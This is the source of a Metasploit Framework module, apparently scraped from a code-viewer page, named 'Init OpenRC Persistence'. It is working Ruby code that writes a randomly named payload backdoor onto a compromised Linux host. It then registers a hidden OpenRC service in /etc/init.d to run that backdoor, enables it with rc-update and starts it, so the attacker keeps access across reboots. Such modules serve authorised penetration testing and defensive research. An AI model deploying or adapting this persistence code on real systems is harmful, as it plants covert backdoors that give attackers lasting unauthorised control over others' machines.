Path: blob/master/modules/exploits/linux/persistence/init_openrc.rb
31476 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/service_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Init OpenRC Persistence',22'Description' => %q{23This module will create a service on the box via OpenRC, and mark it for auto-restart.24We need enough access to write service files and potentially restart services.25Verified against alpine 3.21.226},27'License' => MSF_LICENSE,28'Author' => [29'h00die',30],31'Platform' => ['unix', 'linux'],32'Targets' => [33['Automatic', {}]34],35'DefaultTarget' => 0,36'Arch' => [37ARCH_CMD,38ARCH_X86,39ARCH_X64,40ARCH_ARMLE,41ARCH_AARCH64,42ARCH_PPC,43ARCH_MIPSLE,44ARCH_MIPSBE45],46'References' => [47['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],48['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],49['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],50['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],51['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],52['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],53],54'SessionTypes' => ['shell', 'meterpreter'],55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],58'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]59},60'DisclosureDate' => '2007-04-05' # openrc release date61)62)6364register_options(65[66OptString.new('SERVICE', [false, 'Name of service to create']),67OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),68]69)70register_advanced_options(71[72OptBool.new('EnableService', [true, 'Enable the service', true])73]74)75end7677def check78print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')79return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)80return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)81return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')82return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')8384return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')8586CheckCode::Appears("#{writable_dir} is writable and system is openrc based")87end8889def install_persistence90print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')91backdoor = write_shell(writable_dir)9293path = backdoor.split('/')[0...-1].join('/')94file = backdoor.split('/')[-1]9596openrc(path, file)97end9899def write_shell(path)100file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)101backdoor = "#{path}/#{file_name}"102vprint_status("Writing backdoor to #{backdoor}")103104if payload.arch.first == 'cmd'105write_file(backdoor, payload.encoded)106chmod(backdoor, 0o755)107else108upload_and_chmodx(backdoor, generate_payload_exe)109end110111@clean_up_rc << "rm #{backdoor}\n"112113fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)114backdoor115end116117def openrc(backdoor_path, backdoor_file)118if payload.arch.first == 'cmd'119script = %(#!/sbin/openrc-run120name=#{backdoor_file}121command=/bin/sh122command_args="#{backdoor_path}/#{backdoor_file}"123pidfile="/run/${RC_SVCNAME}.pid"124command_background="yes"125)126else127script = %(#!/sbin/openrc-run128name=#{backdoor_file}129command="#{backdoor_path}/#{backdoor_file}"130command_args=""131pidfile="/run/${RC_SVCNAME}.pid"132command_background="yes"133)134end135136service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)137service_path = "/etc/init.d/#{service_filename}"138vprint_status("Writing service: #{service_path}")139begin140upload_and_chmodx(service_path, script)141@clean_up_rc << "rm #{service_path}\n"142rescue Rex::Post::Meterpreter::RequestError143print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")144end145146fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)147148if datastore['EnableService']149vprint_status('Enabling service')150cmd_exec("rc-update add '#{service_filename}'")151@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""152end153154print_good('Starting service')155cmd_exec("'#{service_path}' start")156end157end158159160